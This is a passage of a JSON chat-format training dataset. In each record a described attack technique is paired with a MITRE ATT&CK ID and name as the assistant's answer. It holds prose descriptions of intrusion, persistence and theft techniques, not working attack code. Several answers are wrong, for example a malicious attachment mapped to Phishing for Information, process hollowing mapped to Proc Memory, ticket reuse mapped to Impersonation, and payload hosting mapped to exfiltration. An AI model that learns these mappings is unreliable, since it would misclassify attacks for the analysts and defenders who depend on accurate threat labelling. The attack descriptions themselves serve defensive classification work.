                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker scripts a routine that searches user folders for credential files and gathers them locally."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor created a custom backdoor with encrypted communications to exfiltrate data from compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant communicates with its C2 using DNS A record lookups, where the queried domain encodes command data."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access, the malware compresses logs and writes the archive to a connected external SSD."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code creates a service using sc.exe create with the binary path C:\\temp\\evil.exe and sets it to auto-start."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware module wipes out all recovery partitions on the disk to stop offline recovery."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages a dictionary of common directory names to discover hidden configuration files on the web server."
            },
            {
                "role": "assistant",
                "content": "T1595.003 - Active Scanning: Wordlist Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The command‑and‑control client queries the OS for a particular environment variable that only exists on the attacker's target machines and only runs if it is found."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Execution Guardrails: Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious mobile app with WebView permissions accesses cookies from embedded web content and transmits them to the attacker’s backend."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies the host's socket filter configuration to capture and redirect inbound network packets for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload is a minimal stub with all non‑essential sections stripped, relying on runtime reconstruction to execute."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During lateral movement, the threat actor reviews bash history to find reusable credential strings for other systems."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious module intercepts calls to the CredentialManager API, recording the username and password each time a user authenticates."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages macOS XPC services to inject malicious code into a privileged helper process, enabling elevation of privileges."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary sends a malicious Microsoft Word document via email that exploits a macro vulnerability to install a backdoor on the victim’s workstation."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor establishes a rogue DC in the environment, allowing them to perform Kerberos ticket forging and domain trust abuse."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor recruits compromised point‑of‑sale terminals into a botnet, leveraging them to inject malicious code into payment processing systems."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The operatives stage information by uploading it to a hidden FTP directory on the compromised server before downloading it elsewhere."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script infected web servers, forming a botnet used to conduct credential‑stuffing attacks."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exploiting a vulnerable web application, the attacker plants a hidden ASP.NET backdoor that provides persistent remote access."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker updates the domain's password expiration policy to never expire passwords for privileged accounts."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a man‑in‑the‑middle position, the intruder tamps with the server’s certificate validation process, causing the client to accept a self‑signed certificate and downgrade trust checks."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a buffer overflow, the attacker writes arbitrary data into the heap of a live process."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing‑delivered droplet sets up a reverse shell, which is later used to fetch and execute a secondary payload from an external repository."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion inserts a forged root CA into the Android device's trusted certificate store to conduct TLS interception."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker restores a previous system image from backup to reintroduce previously removed malware."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using valid domain credentials, the threat actor authenticates to multiple servers via RDP."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code adds a new entry to the com.apple.sysprefs.plist, granting the attacker elevated privileges for system settings."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary inserts a hidden backdoor into an otherwise benign file, making the payload appear as part of the original content."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a rootkit, the threat actor masks malicious kernel modules as legitimate drivers, evading detection by standard security scans."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor places a signed driver in the system directory, configuring it to load on boot and target LSASS memory."
            },
            {
                "role": "assistant",
                "content": "T1547.008 - Boot or Logon Autostart Execution: LSASS Driver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider placed a network tap to record internal communications without detection."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors locate configuration files on Linux servers that contain plaintext database credentials and copy them to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit a vulnerable RDP service to gain initial access to the target system."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a legitimate cloud‑based file sharing service to host a malicious payload, then lures the victim to download it."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware harvests Kerberos tickets and reuses them to access network resources."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a new service called 'evil.service' that runs a payload on boot via systemd."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script calls the Windows API GetSystemTime to retrieve the current system clock."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses a Windows API to access the IMAP local cache and extracts stored email bodies for theft."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious email pretends to be a shipping notification and contains a link to a forged FedEx tracking page that harvests credentials when the victim enters their login details."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor creates a fake Pinterest board titled \"Office Inspiration\" and pins images that contain embedded malware targeting visitors."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Establish Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploited a legitimate software deployment tool (e.g., SCCM) to push a malicious payload to all endpoints."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Obfuscation is achieved by embedding shellcode in the header of a legitimate PDF document."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker intercepts network traffic to capture OAuth access tokens transmitted in clear text from a misconfigured API endpoint."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits an unsanitized input field that feeds directly into a template engine, resulting in server-side code execution."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerability to corrupt the encryption keys stored on the server."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary manipulates the window style to WS_EX_LAYERED and sets opacity to 0, effectively hiding its malicious window from the desktop."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware periodically captures the victim's desktop screenshots and sends them to the command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor utilizes search engines to find the organization's web presence, gathering URLs and exposed content."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries encapsulate malicious traffic within DNS queries to bypass network defenses."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operator runs `esentutl.exe` to export the NTDS.dit file from the Domain Controller for later analysis."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group places a trailing space after the filename of their ransomware, such as 'winword.exe ', to bypass endpoint policies."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor drops a malicious port monitor DLL into the Windows System32\\spool\\drivers\\x64\\3 directory and registers it to start automatically with the Print Spooler service."
            },
            {
                "role": "assistant",
                "content": "T1547.010 - Boot or Logon Autostart Execution: Port Monitors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious user modifies the Azure role assignment JSON to include the \"Contributor\" role for a low‑privilege user."
            },
            {
                "role": "assistant",
                "content": "T1098.003 - Account Manipulation: Additional Cloud Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs PowerShell commands to fetch the TrustedDomain objects from the AD forest to map trust relationships."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing tool encodes PowerShell commands with Unicode escape sequences to bypass filters."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group conducts a targeted phone call to a system administrator, claiming a security issue and asking for the admin's SSH private key."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant queries the parent process ID and compares it against known debugger PIDs to avoid analysis."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code creates a launch agent in ~/Library/LaunchAgents/com.evil.agent.plist to persist across reboots."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor performs process hollowing by replacing the memory of a legitimate process with its own malicious code."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign utilizes RDP credential dumping followed by remote desktop logins to spread across the enterprise."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT conducts WHOIS lookups to discover the domain registrar and associated nameservers for the victim's primary website."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware copies all recent zip archives from the user's file system for later use."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group registers a new Firebase project under the target’s organization to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage group injects a backdoored network provider DLL to manipulate Kerberos ticket requests."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet of compromised IoT devices floods the traffic signaling network with spoofed status messages, causing the control system to enter a fail‑safe mode."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary used the cloud's built‑in remote PowerShell feature to execute commands on a Windows VM directly from the internet."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary probes the company’s recruitment portal to uncover job descriptions that reveal which positions have elevated access rights, such as privileged user accounts."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Gather Victim Org Information: Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker hijacks a DNS‑managed domain and points it to a malicious web server to serve phishing pages."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors generate deceptive security alerts that mimic legitimate firewall warnings to mask data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group leverages CDN metadata APIs to gather information about cached content and associated origin IPs."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By sending specially crafted SMB packets, the threat actor crashes the file sharing service on the endpoint, causing denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a command‑and‑control server to send stolen credentials to a public markdown document hosted on a code‑sharing site, exploiting its web service interface."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor crafts a spear‑phishing message with a link to a compromised domain that hosts a downloader delivering malware."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A drive‑by attack is executed by embedding a malicious PDF viewer on a site, which exploits a PDF reader vulnerability to drop a payload."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers modify the IFEO subkey for svchost.exe to point to a malicious DLL, enabling execution of their code each time the service starts."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
